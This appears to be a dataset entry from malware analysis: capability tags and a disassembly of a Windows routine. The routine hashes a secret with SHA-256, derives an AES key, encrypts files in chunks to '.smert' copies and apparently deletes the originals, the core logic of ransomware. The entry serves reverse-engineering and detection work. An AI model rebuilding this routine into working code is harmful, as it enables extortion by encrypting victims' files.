Function at 0x401000
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows

Disassembly:
mov eax, 0x222c
call fcn.00401f40
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x2228], eax
mov eax, dword [esp + 0x2238]
push ebx
mov ebx, dword [esp + 0x2234]
push ebp
mov ebp, dword [esp + 0x223c]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x11c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str..smert
push ebx
call fcn.00402d40
add esp, 8
test eax, eax
jne 0x40121b
lea eax, [esp + 0x11c]
push eax
push ebx
call fcn.004054ff
add esp, 8
test eax, eax
je 0x40121b
push esi
push 0x41b290
push ebx
call fcn.004060f1
mov esi, eax
add esp, 8
test esi, esi
je 0x40121a
push edi
push ebx
push str._s.smert
lea eax, [esp + 0x2c]
push 0x100
push eax
call fcn.00401ef0
lea eax, [esp + 0x34]
push 0x41b2a0
push eax
call fcn.004060f1
mov edi, eax
add esp, 0x18
test edi, edi
jne 0x4010cc
push esi
call fcn.00405fde
add esp, 4
jmp 0x401219
push 0xf0000000
push 0x18
push 0
push 0
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x401248
lea eax, [esp + 0x14]
push eax
push 0
push 0
push 0x800c
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
push 0
test eax, eax
je 0x40123e
push 0x20
push ebp
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x40112c
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
jmp 0x40123c
lea eax, [esp + 0x18]
push eax
push 0
push dword [esp + 0x1c]
push 0x6610
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
push dword [esp + 0x14]
test eax, eax
je 0x401121
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
push dword [esp + 0x24]
push 1
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x401232
push esi
push 0x1000
lea eax, [esp + 0x230]
push 1
push eax
call fcn.004062e1
add esp, 0x10
test eax, eax
je 0x4011ee
mov ebp, dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x1c]
push 0x1010
push eax
lea eax, [esp + 0x1230]
push eax
push 0
push esi
call fcn.0040600e
add esp, 4
push eax
push 0
push dword [esp + 0x30]
call ebp
test eax, eax
je 0x401232
push edi
push dword [esp + 0x20]
lea eax, [esp + 0x1230]
push 1
push eax
call fcn.004066e1
push esi
push 0x1000
lea eax, [esp + 0x240]
push 1
push eax
call fcn.004062e1
add esp, 0x20
test eax, eax
jne 0x401190
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push esi
call fcn.00405fde
push edi
call fcn.00405fde
push ebx
call fcn.004068a1
add esp, 0xc
pop edi
pop esi
mov ecx, dword [esp + 0x2230]
pop ebp
pop ebx
xor ecx, esp
call fcn.00401f28
add esp, 0x222c
ret
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push esi
call fcn.00405fde
push edi
call fcn.00405fde
add esp, 8
jmp 0x401219